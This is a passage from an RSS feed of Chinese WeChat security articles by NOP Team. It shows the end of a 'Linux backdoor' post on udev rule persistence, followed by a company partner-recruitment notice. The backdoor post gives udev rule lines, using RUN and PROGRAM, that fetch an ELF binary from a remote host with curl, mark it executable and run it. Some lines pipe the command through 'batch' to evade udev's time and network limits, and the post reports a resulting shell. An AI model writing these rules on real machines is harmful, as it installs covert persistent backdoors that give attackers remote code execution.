src="https://wechat2rss.xlab.app/img-proxy/?k=c6967adf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJEcsVUs0UHicr8nhrE1tsrGm9cPLZy0dwdyd3XteibhgF25nSia10ics2tg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">重启系统</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019073" class="rich_pages wxw-img" data-ratio="0.3972222222222222" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=57b707ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJWVnr1PHbvd69d65BbqLHppf5zdkuWqfOL0pMm7yiauhgT1pS8aia3Llg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">成功获取到 shell</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通过 batch 实现执行外部程序</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;net&#34;</span></span><span leaf="">, RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/sh -c &#39;echo \&#34;curl -sL <a href="http://10.211.55.15:8081/nop-test.elf" target="_blank">http://10.211.55.15:8081/nop-test.elf</a> -o /tmp/nop-test.elf &amp;&amp; chmod +x /tmp/nop-test.elf &amp;&amp; /tmp/nop-test.elf\&#34; | batch&#39;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019070" class="rich_pages wxw-img" data-ratio="0.12685185185185185" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1e200525&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJvgLuAIWxsm8MKs6e32be9XTe8xDr9pnmzIumWzB69YXiaSwGuibRzexQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019078" data-ratio="0.4437022900763359" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1048" src="https://wechat2rss.xlab.app/img-proxy/?k=795dffd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJibV9rdnc5zHurdpQ11xTuCUdHAaAx9ajRXdiaDt8QRpPYoKPzumE87hQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">成功获取到 shell</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这些方法的大概思路就是让恶意进程不再是 udev 的子进程，实现进程分离，进而绕过限制</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">探索 PROGRAM 限制</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">PROGRAM 是否也存在网络和进程时间的限制呢？</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;net&#34;</span></span><span leaf="">, ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, PROGRAM=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/bin/env bash -c &#39;curl -sL <a href="http://10.211.55.15:8081/nop-test.elf" target="_blank">http://10.211.55.15:8081/nop-test.elf</a> -o /tmp/nop-test.elf &amp;&amp; chmod +x /tmp/nop-test.elf &amp;&amp; /tmp/nop-test.elf &amp;&amp; echo FLAG=touched&#39;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019077" class="rich_pages wxw-img" data-ratio="0.1398148148148148" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=2c3376b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJaU1FdJIrMriaf2Qjjkt2rGxfcEWRSlrOrCOS8bMrZvcyvibLefW3zvHw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019074" class="rich_pages wxw-img" data-ratio="0.3838383838383838" data-type="png" data-w="990" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=18186f07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJKYuPG7IZB4OPB93icuACARWHWt6cCqVqy6T49vAJ0bwIPsE4VstkOaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">看来 PROGRAM 也是有和 RUN 一样的限制，Archlinux 介绍比较朦胧</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019076" class="rich_pages wxw-img" data-ratio="0.2462962962962963" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=32447a49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJrAp6L2lJcXtWCPOTFHaicXkl2Vw4M7wBvaZSsD4YUnLzxCOuDJYCLYA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">尝试之前的方法绕过</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;net&#34;</span></span><span leaf="">, PROGRAM=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/sh -c &#39;echo \&#34;curl -sL <a href="http://10.211.55.15:8081/nop-test.elf" target="_blank">http://10.211.55.15:8081/nop-test.elf</a> -o /tmp/nop-test.elf &amp;&amp; chmod +x /tmp/nop-test.elf &amp;&amp; /tmp/nop-test.elf &amp;&amp; echo FLAG=touched\&#34; | batch&#39;&#34;</span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019075" class="rich_pages wxw-img" data-ratio="0.15185185185185185" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a46762d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJjFaSoQymjym84bYTGWv1VXXK9jvS0bticMMKTnsv3aX2s50vK4NRL1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019081" class="rich_pages wxw-img" data-ratio="0.5567805953693495" data-type="png" data-w="907" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=076ffe1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJdqibedkcDzOPIl4RvpwpzsTxlMNd3O9vHdd504cdRIMC6v6Jf5hazJw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">之前的方法也是可以绕过的</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">探索 IMPORT 限制</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">经过测试 IMPORT 与 PROGRAM 和 RUN 是一样的</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x04 总结</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在本篇文章中，我们讨论了 udev 是干嘛的、它如何工作、它用来做持久化的可能性以及绕过系统默认限制的方法，通过 udev 的规则文件，攻击者确实可以实现复杂的权限维持工作，是一个比较理想的权限维持项</span><span leaf=""><br/></span><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">PDF 版本下载</span></strong></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://pan.baidu.com/s/1pWHP0gltWijricH5OD8GVA?pwd=5dui" target="_blank">https://pan.baidu.com/s/1pWHP0gltWijricH5OD8GVA?pwd=5dui</a> 提取码: 5dui</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2></section><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><section><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502489&amp;idx=1&amp;sn=42e7e1df16c328cbe182bf9befcbc9f4&amp;scene=21#wechat_redirect" textvalue="Trap 后门 | Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">Trap 后门 | Linux 后门系列</a></span></section></li><li><section><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502442&amp;idx=1&amp;sn=5bc26be1b2fa90a3dd65d2d4269c3c93&amp;scene=21#wechat_redirect" textvalue="PAM 后门 | Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">PAM 后门 | Linux 后门系列</a></span></section></li><li><section><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247492825&amp;idx=1&amp;sn=deb7753e18c935f16cbcb1ea22ed6c35&amp;scene=21#wechat_redirect" textvalue="sudo 后门｜Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">sudo 后门｜Linux 后门系列</a></span></section><section><span leaf=""><br/></span></section></li></ul><section data-style="-webkit-tap-highlight-color: transparent; margin-bottom: 0em; outline: 0px; background-color: rgb(255, 255, 255); letter-spacing: 0.544px; text-wrap: wrap; font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif; font-size: 16px; text-align: center; visibility: visible; color: rgb(163, 163, 163) !important;" class="js_darkmode__24" style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;visibility: visible;color: rgb(163, 163, 163) !important;" nodeleaf=""><img data-imgfileid="100018915" alt="图片" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="430" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: initial;visibility: visible !important;width: 430px !important;" width="430px" src="https://wechat2rss.xlab.app/img-proxy/?k=37ca7275&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfZT30hrVgRePhExdNHBxNXo5ykEQRnV6h5D294E334CzZaiaFRfibvESn4icHoenCrJf06jfJNVBZwpaAmCZbM6Gw%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></section><section data-style="-webkit-tap-highlight-color: transparent; margin-bottom: 0em; outline: 0px; background-color: rgb(255, 255, 255); text-wrap: wrap; font-family: 微软雅黑; text-align: center; letter-spacing: 2px; font-size: 18px; color: rgb(163, 163, 163) !important;" class="js_darkmode__25" style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: 微软雅黑;text-align: center;letter-spacing: 2px;font-size: 18px;color: rgb(163, 163, 163) !important;"><span leaf="">有态度，不苟同</span></section><section><span leaf=""><br/></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502756">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9be7402f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502756%26idx%3D1%26sn%3D8bd6aa63492e4d8630a63494a17a60ac%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 26 Feb 2025 21:26:00 +0800</pubDate>
    </item>
    <item>
      <title>生态合作伙伴招募</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502756&amp;idx=2&amp;sn=19081091f06e1384fb4b426a4263f857</link>
      <description>欢迎大家成为生态合作伙伴～</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-02-26 21:26</span> <span style="display: inline-block;">北京</span>
</p>

<p>欢迎大家成为生态合作伙伴～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e43a85bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRczJMmBFVhXALHxFjeIWSp8yg7KZDNOmEDNkgDKoAxXAtuzicquiaDzGvm56icZrzffwxAY4XXd3iaibbw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;margin-top: -10px;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span><center><strong><span leaf="">生态合作伙伴招募公告</span></strong></center><center><span leaf=""><br/></span></center></h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">背景说明</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><blockquote style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">朋友们，大家好，我们是 NOP Team ，这是一则长期的招募公告，当你看到该公告时，它就是有效的，可以随时联系我们</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">我本来希望叫 &#34;核心&#34;合作伙伴招募公告，这对我们是一件很重要的事，昨天(2024-06-03) 和联合创始人们进行了激烈讨论，大家讨论后认为，我们公司目前体量太小，尤其是在商务领域，无法保证一定能够给到&#34;核心&#34;合作伙伴足够的正反馈，所以叫 &#34;核心&#34;合作伙伴是一种不合适，甚至是不负责任的叫法，所以我们改为生态合作伙伴招募，不至于导致朋友们的误会</span></p><hr style="height: 1px;margin-top: 10px;margin-bottom: 10px;border-right: none;border-bottom: none;border-left: none;border-top-style: solid;border-top-color: black;"/><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">生态合作伙伴会经过详细的面试，在我们的观念里，面试是一种彼此了解的方法，面试过程中发现的亮点可能会成为合作的新机遇，面试过程中发现不足，我们也一定会指出来，共同面对，共同提升，当然前提是你愿意花费时间在自我提升上。所以这和企业面试不是一回事，不是二进制里的 0 和 1 ，希望大家能够明白</span></p><hr style="height: 1px;margin-top: 10px;margin-bottom: 10px;border-right: none;border-bottom: none;border-left: none;border-top-style: solid;border-top-color: black;"/><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">我们一定要保证交到客户手里的人是我们充分了解的，技术实力足够的，这是我们的基本原则！</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">在项目中犯非主观性错误是难免的事，但我们绝不接受因为我们面试了解不够或交付了技术能力不足的人导致在项目中犯非主观性错误！</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><span leaf="">所以接受不了相对详细的面试的朋友们(APT等方向会特殊考虑)，我们理解大家的想法，但就不建议申请成为我们的合作伙伴了</span></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">2022 年 9 月 9 日，我们发布了第一版合作伙伴协议，并且启用了之前的公众号  </span><strong><span leaf="">漫流沙</span></strong><span leaf=""> (NOPTeam)作为项目发布渠道，我们觉得这样不会改变大家的使用习惯，关注技术文章的朋友们也不会在技术号上看到广告</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">公司创建已有 2 年多，通过当前的模式，我们已经积累了一些有技术且靠谱的合作伙伴，但在此过程中也发现了一个重要问题：</span><strong><span leaf="">效率太低</span></strong><span leaf="">，我们无法第一时间了解大家的技术能力，进而安排合适的项目，有太多的项目因为短时间内无法确定是否有足够的人来实施而流失，这是我们不愿意看到的</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">网络安全细分领域越来越多，我们公司开展业务时面临两个问题：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">在擅长的领域面对人员需求量比较大的项目时人手不够</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">在不擅长的领域拓展性不足</span></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">所以我们需要对合作伙伴朋友们进一步了解，按照擅长的领域进行分类，充分挖掘技术潜能，不仅能在我们人手不足时第一时间找到该项目所属领域的技术人才，甚至可以和我们一道填补服务领域的空白，开展新服务业务</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">我们将技术型合作伙伴分为以下三类</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">生态合作伙伴</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">普通合作伙伴</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">纯粹以增长项目经验为目的朋友们</span></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">希望合作伙伴朋友们和我们一起，以 </span><strong><span leaf="">解决实际问题</span></strong><span leaf=""> 为共同目标，一起努力</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">生态合作伙伴</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="letter-spacing: 0px;"><span leaf="">生态合作伙伴除了可以优先获取项目信息以及项目收益外，还可以共享内部共同构建的资源与信息等</span></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">申请生态合作伙伴需要满足以下要求：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">深厚的网络安全细分领域技术实力与实战经验</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">足够的时间灵活性，确保项目按时高质量完成</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">准确评估项目风险，提供切实可行的解决方案能力</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">逻辑清晰，沟通高效的日常交流态度</span></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span 